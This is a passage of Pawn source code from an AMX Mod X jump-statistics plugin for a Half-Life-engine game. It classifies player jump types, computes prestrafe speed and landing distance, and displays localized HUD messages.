							strafe_stat_speed[id][i][1] = 0.0;
							strafe_stat_sync[id][i][0] = INFO_ZERO;
							strafe_stat_sync[id][i][1] = INFO_ZERO;
							strafe_stat_time[id][i] = 0.0;
							strafe_lost_frame[id][i] = 0;
						}
						for( i = INFO_ZERO; i < 2; i++ )
						{
							frame_origin[id][i][0] = 0.0;
							frame_origin[id][i][1] = 0.0;
							frame_origin[id][i][2] = 0.0;
							
							frame_velocity[id][i][0] = 0.0;
							frame_velocity[id][i][1] = 0.0;
							frame_velocity[id][i][2] = 0.0;
						}
						in_air[id]	= true;
						g_Jumped[id]	= true;
						turning_right[id] = false;
						turning_left[id] = false;
					}
					else 
					{
						if(get_gametime()-checkladdertime[id]<0.5 && jump_type[id]!=Type_ladderBhop)
						{
							ladderbug[id]=true;
						}
						
						if(touch_ent[id])
						{
							JumpReset(id,106);
						}	
						ddnum[id]=0;
						if(in_ladder[id]==true)
						{
							in_ladder[id]=false;
							
							jump_type[id]=Type_Real_ladder_Bhop;
							
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_RLDBJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_RLDBJ");
							
						}
						
						strafe_num[id]=0;
						
						if(get_gametime()-changetime[id]<0.5)
						{
							JumpReset(id,38);
							return FMRES_IGNORED;
						}
						
						if(task_exists(id+2311))
							remove_task(id+2311);
						
						pev(id, pev_velocity, velocity);
						
						if(jump_type[id]!=Type_ladderBhop)
						{
							if(oldjump_typ1[id]==1)
							{
								jump_type[id]=Type_ladderBhop;
								oldjump_typ1[id]=0;
							}
						}
						
						
						
						jumpoff_origin[id] = origin;
						
						if(is_user_ducking(id))
						{
							jumpoff_origin[id][2] = origin[2]+18.0;
						}
						else jumpoff_origin[id][2] = origin[2];
						
						jumpoff_time[id] = get_gametime( );
						strafecounter_oldbuttons[id] = INFO_ZERO;
						
						pev(id, pev_origin, origin);
						if(is_user_ducking(id))
						{
							dropbjorigin[id][2]=origin[2]+18;
						}
						else dropbjorigin[id][2]=origin[2];
						dropbjorigin[id][0]=origin[0];
						dropbjorigin[id][1]=origin[1];
						pev(id, pev_velocity, velocity);
						secorig[id]=origin;
						
						nextbhop[id]=true;
						
						
						if(dropbhop[id] && jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump)
						{
							dropbhop[id]=false;
							jump_type[id] = Type_Drop_BhopLongJump; 
						}
						else dropbhop[id]=false;
						
						if(jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump)
						{
							cjjump[id]=true;
						}
						if (!ddstandcj[id] && !CjafterJump[id] && (jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump) && floatabs(duckstartz[id]-jumpoff_origin[id][2])>4.0)
						{
							if(speed[id]<200.0)
							{
								jump_type[id] = Type_LongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
							}
							else
							{
								jump_type[id] = Type_WeirdLongJump;
																
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
							}
						}
						if(jump_type[id] == Type_Drop_CountJump && multidropcj[id]==0 && (origin[2]-first_duck_z[id])>4)
						{
							JumpReset(id,146);
							return FMRES_IGNORED;
						}
						prestrafe[id]	= speed[id];
						maxspeed[id]	= speed[id];

						new Float:kkk;
						kkk=999.112*Pmaxspeed;
						if(prestrafe[id]<kkk && jump_type[id]!=Type_ladderBhop && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_WeirdLongJump && jump_type[id] != Type_CountJump && jump_type[id] != Type_Multi_CountJump && jump_type[id] != Type_Double_CountJump && jump_type[id] != Type_BhopLongJump && jump_type[id] != Type_StandupBhopLongJump && jump_type[id] != Type_Drop_CountJump)
						{
							if(jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump && jump_type[id] !=Type_Real_ladder_Bhop)
							{
								jump_type[id] = Type_LongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
								
								if((jumpoff_origin[id][2]-origin[2])==18.0 && oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==false)
								{
									duckbhop[id]=true;
									//client_print(id,print_chat,"%f",jumpoff_origin[id][2]-origin[2]);
									
									find_sphere_class (id, "func_ladder",100.0, entlist1, 1);
									if(entlist1[0]!=0)
									{
										if(get_gametime()-checkladdertime[id]<0.1 || prestrafe[id]>110)
										{
											ladderbug[id]=true;
										}
										else if(entlist1[0]!=0)
										{
											ladderbug[id]=true;
										}
										find_ladder[id]=true;
									}
								}
								else duckbhop[id]=false;
							}
						}
						
						TempSpeed[id] = 0.0;
						
						static i;
						for( i = INFO_ZERO; i < NSTRAFES; i++ )
						{
							strafe_stat_speed[id][i][0] = 0.0;
							strafe_stat_speed[id][i][1] = 0.0;
							strafe_stat_sync[id][i][0] = INFO_ZERO;
							strafe_stat_sync[id][i][1] = INFO_ZERO;
							strafe_stat_time[id][i] = 0.0;
							strafe_lost_frame[id][i] = 0;
						}
						in_air[id]	= true;
						g_Jumped[id]	= true;
						first_frame[id] = true;
						
						prestrafe[id]	= speed[id];
						maxspeed[id]	= speed[id];
						
						turning_right[id] = false;
						turning_left[id] = false;
						
						for( i = INFO_ZERO; i < 2; i++ )
						{
							frame_origin[id][i][0] = 0.0;
							frame_origin[id][i][1] = 0.0;
							frame_origin[id][i][2] = 0.0;
							
							frame_velocity[id][i][0] = 0.0;
							frame_velocity[id][i][1] = 0.0;
							frame_velocity[id][i][2] = 0.0;
						}
						
						if(jump_type[id]==Type_LongJump && prestrafe[id]>kkk)
						{
							jump_type[id] = Type_WeirdLongJump;
							
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
						}
						
						
						if ((doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]) > 0)
						{
							dd_sync[id] =(doubleduck_stat_sync[id][0] * 100)/(doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]);
							
							if(dd_sync[id]<96)
								dd_sync[id] =5+dd_sync[id]; 
						}				
						else
						{
							dd_sync[id] = 0;
						}
						
						for( i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if((Pmaxspeed * 1.2)>prestrafe[id])
								{	
									if(prestrafe[id]>min_prestrafe[id])
									{
										if(jump_type[id] == Type_Double_CountJump && showpre[id]==true && uq_dcj==1)
										{
											if(CjafterJump[id]==2)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE1",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE2",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE3",prestrafe[id]);	
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE4",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_CountJump && showpre[id]==true && uq_cj==1)
										{
											if(CjafterJump[id]==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE5",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE6",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE7",prestrafe[id]);
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE8",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_Multi_CountJump  && showpre[id]==true  && uq_mcj==1)
										{
											if(CjafterJump[id]==3)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE9",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE10",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE11",prestrafe[id]);	
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE12",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_LongJump && showpre[id]==true && ljpre[id]==true && uq_lj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE13",prestrafe[id]);
										}
										else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==true  && uq_wj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE14",prestrafe[id]);
										}
										else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==false && uq_wj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE15",prestrafe[id]);
										}
										else if((jump_type[id] == Type_Drop_BhopLongJump)&& showpre[id]==true && uq_drbj==1 )
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE16",prestrafe[id]);
										}
										else if((jump_type[id] == Type_ladderBhop)&& showpre[id]==true && uq_ldbj==1 )
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE17",prestrafe[id]);
										}
										else if((jump_type[id]==Type_Drop_CountJump)&& showpre[id]==true)
										{
											if(multidropcj[id]==0 && uq_drcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE18",prestrafe[id]);
											}
											else if(multidropcj[id]==1 && uq_dropdcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE19",prestrafe[id]);
											}
											else if(multidropcj[id]==2 && uq_dropmcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE20",prestrafe[id]);
											}
										}
										else if((jump_type[id]==Type_StandUp_CountJump) && showpre[id]==true && uq_drsbj==1)
										{
											if(dropaem[id])
											{
												if(multiscj[id]==0 && uq_dropscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE21",prestrafe[id]);
												}
												else if(multiscj[id]==1 && uq_dropdscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE22",prestrafe[id]);
												}
												else if(multiscj[id]==2 && uq_dropmscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE23",prestrafe[id]);
												}
											}
											else if(ddstandcj[id])
											{
												if(multiscj[id]==0)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE24",prestrafe[id]);
												}
												else if(multiscj[id]==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE25",prestrafe[id]);
												}
												else if(multiscj[id]==2)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE26",prestrafe[id]);
												}
											}
											else
											{
												if(multiscj[id]==0 && uq_drsbj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE27",prestrafe[id]);
												}
												else if(multiscj[id]==1 && uq_dscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE28",prestrafe[id]);
												}
												else if(multiscj[id]==2 && uq_mscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE29",prestrafe[id]);
												}
											}
										}
										else if((jump_type[id]==Type_Real_ladder_Bhop) && showpre[id]==true && uq_realldbhop==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE30",prestrafe[id]);
										}
									}
								}
								else if(showpre[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
								}
							}
						}
					}
				}
				else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && bhopaem[id]==true && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND)
				{
					if(touch_ent[id])
					{
						JumpReset(id,106);
					}
					ddnum[id]=0;
					if(ddforcj[id]==true)
					{
						ddforcj[id]=false;
						JumpReset(id,46);
						return FMRES_IGNORED;
					}
					pev(id, pev_origin, origin);
					static bool:ducking;
					ducking = is_user_ducking( id );
					strafecounter_oldbuttons[id] = INFO_ZERO;
				
					strafe_num[id] = 0;
					TempSpeed[id] = 0.0;
					
					pre_jumpoff_origin[id] = jumpoff_origin[id];
					jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0;
					
					jumpoff_time[id] = get_gametime( );
					
					jumpoff_origin[id] = origin;
					if(is_user_ducking( id )==true)
					{
						jumpoff_origin[id][2] = origin[2]+18.0;
					}
					else jumpoff_origin[id][2] = origin[2];
					pev(id, pev_velocity, velocity);
					
					first_frame[id] = true;
					
					prestrafe[id] = speed[id];
					maxspeed[id] = speed[id];
					
					static i;
					for( i = INFO_ZERO; i < NSTRAFES; i++ )
					{
						strafe_stat_speed[id][i][0] = 0.0;
						strafe_stat_speed[id][i][1] = 0.0;
						strafe_stat_sync[id][i][0] = INFO_ZERO;
						strafe_stat_sync[id][i][1] = INFO_ZERO;
						strafe_stat_time[id][i] = 0.0;
						strafe_lost_frame[id][i] = 0;
					}
					for( i = INFO_ZERO; i < 2; i++ )
					{
						frame_origin[id][i][0] = 0.0;
						frame_origin[id][i][1] = 0.0;
						frame_origin[id][i][2] = 0.0;
						
						frame_velocity[id][i][0] = 0.0;
						frame_velocity[id][i][1] = 0.0;
						frame_velocity[id][i][2] = 0.0;
					}
					in_air[id]	= true;
					g_Jumped[id]	= true;
					turning_right[id] = false;
					turning_left[id] = false;
					jump_type[id]=Type_Multi_Bhop;
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MBJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MBJ");
				
					bhop_num[id]++;
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(showpre[i]==true && multibhoppre[id] && speed[id]>50.0)
							{
								if((Pmaxspeed * 1.2)>speed[id] && (uq_bj==1 || uq_sbj==1))
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_MBPRE",speed[id]);
								}
								else
								{	if((uq_bj==1 || uq_sbj==1))
									{
										set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
										show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
									}
								}
							}
						}
					}
				}
				else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && !(button&IN_JUMP) && oldbuttons&IN_JUMP && flags & FL_ONGROUND && nextbhop[id]==true && cjjump[id]==false && bhopaem[id]==false && jump_type[id]!=Type_Drop_BhopLongJump)	
				{		
					if(touch_ent[id])
					{
						JumpReset(id,109);
					}
					ddnum[id]=0;
					if(ddforcj[id]==true)
					{
						JumpReset(id,46);
						return FMRES_IGNORED;
					}
					bhop_num[id]=0;
			
					if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
					{
						jump_type[id]=Type_DuckBhop;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
						duckbhop[id]=false;
					}
					else
					{
						bhopaem[id]=true;
						
						static i;
						for( i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{	
								if(showpre[id]==true && failearly[id]==true && (uq_bj==1 || uq_sbj==1))
								{
									set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, h_stats);
									show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_JEARLY");
								}
							}
						}
					}
				}
				else if( ( failed_jump[id] || flags&FL_ONGROUND)&& in_air[id] )
				{	
					if(old_type_dropbj[id]!=Type_Null && jump_type[id]==Type_Drop_BhopLongJump)
					{
						jump_type[id]=old_type_dropbj[id];
						
						formatex(Jtype[id],32,Jtype_old_dropbj[id]);
						formatex(Jtype1[id],32,Jtype_old_dropbj1[id]);
					}
					if(bug_true[id])
					{
						JumpReset(id,322);
						return FMRES_IGNORED;
					}
					if(prestrafe[id]>200 && jump_type[id]==Type_DuckBhop)
					{
						duckbhop_bug_pre[id]=true;
						set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
						show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_PROBBUG",prestrafe[id]);
					}
					new summad,summws;
					for(new i=0;i<NSTRAFES;i++)
					{
						if(type_button_what[id][i]==1)
						summad++;
						if(type_button_what[id][i]==2)
						summws++;
					}
					if(summws>summad)
					{
						if(backwards[id])
						{
							formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1"); //Back-Side?? don't know...
						}
						else formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1");
					}
					else if(backwards[id])
					{
						formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE2");
					}
					else pre_type[id] = "";
			
					static bool:ducking;
					
					static type[33];
					type[0] = '^0';
					new bool:failed;
					if (failed_jump[id] == true)
					{
						formatex( type, 32, "" );
						failed=true;
						origin=failed_origin[id];
					}
					else
					{
						pev(id, pev_origin, origin);
						ducking = is_user_ducking( id );
						failed=false;
					}
					
					if(donehook[id])
					{
						donehook[id]=false;
						failed_jump[id]=true;
						client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_HOOKPROTECT");		
					}	
					if(failed==false)
					{
						height_difference[id] =  ducking ? jumpoff_origin[id][2] - origin[2] - 18.0 : jumpoff_origin[id][2] - origin[2];
						if(jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump || jump_type[id]==Type_Bhop_In_Duck)
						{
							if(height_difference[id] <-22.0)
							{
								JumpReset(id,4);
								return FMRES_IGNORED;
							}
							
							if(height_difference[id] > -18.0)
							{
								if(height_difference[id] <= -1.0)
								{
									JumpReset(id,5);
									return FMRES_IGNORED;
								}	
							}
						}
						else
						{
							if(height_difference[id] < -1.0)
							{
								if((jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_StandUp_CountJump) && height_difference[id]==-18.0)
								{
									//ColorChat(id, GREEN, "ne reset");
								}
								else
								{	
									JumpReset(id,6);
									return FMRES_IGNORED;	
								}
							}	
						}
						if(jump_type[id]==Type_StandupBhopLongJump)
						{
							if(height_difference[id] > 1.0)
							failed_jump[id]=true; 
						}
						else if(height_difference[id] > 0.0 && jump_type[id]!=Type_Drop_BhopLongJump )
						{
							JumpReset(id,7);
							return FMRES_IGNORED; 
						}
						else if(height_difference[id] > 0.02 && jump_type[id]==Type_Drop_BhopLongJump )
						{
							failed_jump[id]=true; 
						}
					}
					
					if( is_user_ducking(id))
					{
						origin[2]+=18.0;
					}
					
					static Float:distance1;
					if(jump_type[id] == Type_ladder)
					{
						if(floatabs(jumpoff_origin[id][2]-origin[2])>4.0)
						{
							failed_jump[id]=true;
						}
						
						distance1 = get_distance_f( jumpoff_origin[id], origin )+laddist[id];
					}
					else distance1 = get_distance_f( jumpoff_origin[id], origin ) + 32.0;
					
					if( is_user_ducking(id) )
					{
						origin[2]-=18.0;
					}
					
					if( frame_velocity[id][1][0] < 0.0 ) frame_velocity[id][1][0] *= -1.0;
					if( frame_velocity[id][1][1] < 0.0 ) frame_velocity[id][1][1] *= -1.0;
					
					static Float:land_origin[3];
					
					land_origin[2] = frame_velocity[id][0][2] * frame_velocity[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (frame_origin[id][0][2] - origin[2]));
					
					rDistance[0] = (floatsqroot(land_origin[2]) * -1) - frame_velocity[id][1][2];
					rDistance[1] = get_pcvar_float(sv_gravity)*-1;
					
					frame2time = floatdiv(rDistance[0], rDistance[1]);
					if(frame_velocity[id][1][0] < 0 )
					frame_velocity[id][1][0] = frame_velocity[id][1][0]*-1;
					rDistance[0] = frame2time*frame_velocity[id][1][0];
						
					if( frame_velocity[id][1][1] < 0 )
					frame_velocity[id][1][1] = frame_velocity[id][1][1]*-1;
					rDistance[1] = frame2time*frame_velocity[id][1][1];
			
					if( frame_velocity[id][1][2] < 0 )
					frame_velocity[id][1][2] = frame_velocity[id][1][2]*-1;
					rDistance[2] = frame2time*frame_velocity[id][1][2];
					
					if( frame_origin[id][1][0] < origin[0] )
					land_origin[0] = frame_origin[id][1][0] + rDistance[0];
					else
					land_origin[0] = frame_origin[id][1][0] - rDistance[0];
					if( frame_origin[id][1][1] < origin[1] )
					land_origin[1] = frame_origin[id][1][1] + rDistance[1];
					else
					land_origin[1] = frame_origin[id][1][1] - rDistance[1];
					
					if( is_user_ducking(id) )
					{
						origin[2]+=18.0;
						duckstring[id]=true;
					}
			
					land_origin[2] = origin[2];
					
					frame2time += (last_land_time[id]-jumpoff_time[id]);
					
					static Float:distance2;
					if(jump_type[id] == Type_ladder)
					{
						distance2 = get_distance_f( jumpoff_origin[id], land_origin ) +laddist[id];
					}
					else distance2 = get_distance_f( jumpoff_origin[id], land_origin ) + 32.0;
					
					if(failed==true)
					{
						if(jump_type[id] == Type_ladder)
						{
							distance[id] = GetFailedDistance(laddist[id],failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
						}
						else distance[id] = GetFailedDistance(32.0,failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
					}
					else distance[id] = distance1 > distance2 ? distance2 : distance1; //distance
					
					
					new Float:Landing,bool:land_bug;
					
					if(jump_type[id]!=Type_ladder && distance[id]>64.0)
					{
						new Float:landing_orig[3];
						
						landing_orig=origin;
						landing_orig[2]=landing_orig[2]-36.1;
						
						Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
						if(distance[id]<(jumpblock[id]+edgedist[id]+Landing))
						{
							landing_orig=land_origin;
							landing_orig[2]=landing_orig[2]-36.1;
							
							Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
							Landing=Landing-0.06250;
							land_bug=true;
						}
						else land_bug=false;
					}
					
					if(!uq_noslow && entity_get_float(id,EV_FL_fuser2)==0.0 && jump_type[id] != Type_ladder)
					{
						failed_jump[id]=true;
					}
					if(fps_hight[id] && jump_type[id]!=Type_ladder)
					{
						failed_jump[id]=true;
					}
					if(duckbhop_bug_pre[id])
					{
						failed_jump[id]=true;
					}
					
					new tmp_dist,tmp_min_dist,tmp_maxdist,tmp_mindist_other;
					if(Pmaxspeed != 250.0 && jump_type[id]!=Type_ladder)
					{
						tmp_dist=floatround((250.0-Pmaxspeed)*0.73,floatround_floor);
						
						tmp_min_dist=min_distance-tmp_dist;
						
					}
					else tmp_min_dist=min_distance;
					
					tmp_maxdist=max_distance;
					tmp_mindist_other=min_distance_other;
					
					if(jump_type[id]!=Type_Bhop_In_Duck && jump_type[id]!=Type_Up_Bhop_In_Duck && jump_type[id]!=Type_Up_Stand_Bhop  && jump_type[id] != Type_Up_Bhop && jump_type[id] != Type_ladder && jump_type[id] != Type_Multi_Bhop && jump_type[id]!=Type_DuckBhop && jump_type[id]!=Type_Real_ladder_Bhop)
					{
						if( distance[id] < tmp_min_dist || tmp_maxdist < distance[id] )
						{
							JumpReset(id,8);
							return FMRES_IGNORED;
						}
					}
					else if( jump_type[id] == Type_ladder && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,9);
						return FMRES_IGNORED;
					}
					else if( (jump_type[id] == Type_Multi_Bhop || jump_type[id]==Type_Real_ladder_Bhop) && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,10);
						return FMRES_IGNORED;
					}
					else if( (jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop ||  jump_type[id] == Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop)&& (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,11);
						return FMRES_IGNORED;
					}
					else if( jump_type[id]==Type_DuckBhop && (distance[id] > tmp_maxdist || distance[id] < tmp_min_dist-150))
					{
						JumpReset(id,1111);
						return FMRES_IGNORED;
					}
					
					
					
					if( jump_type[id] == Type_LongJump ) 
					{			
						oldjump_type[id]=1;
					}
					else oldjump_type[id]=0;
					
					if(jump_type[id] == Type_LongJump && detecthj[id]==1) 
					{
						jump_type[id] = Type_HighJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_HJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_HJ");
					}

					new Float:kkk;
					kkk=1.112*Pmaxspeed;
					if((jump_type[id] == Type_LongJump || jump_type[id] == Type_HighJump) && prestrafe[id]>kkk)
					{
						jump_type[id] = Type_Drop_BhopLongJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
					}
					if(touch_somthing[id])
					{
						failed_jump[id]=true;
					}
					if(trigger_protection[id])
					{
						failed_jump[id]=true;
					}
					new wpn,weapon_name[21],weapon_name1[21],clip,ammo;
					
					wpn = get_user_weapon(id,clip,ammo);
					if(wpn)
					{
						get_weaponname(wpn,weapon_name,20);
						get_weaponname(wpn,weapon_name1,20);
						
						replace(weapon_name,20,"weapon_","");
					}
					else formatex(weapon_name,20,"Unknow");
	
					new t_type;
					t_type=0;
					
					switch(jump_type[id])
					{
						case 0: t_type=1;
						case 1: t_type=1;
						case 2: t_type=2;
						case 9: t_type=2;
						case 11: t_type=2;
						case 6: t_type=2;
						case 7: t_type=2;
						case 15: t_type=2;
						case 17: t_type=2;
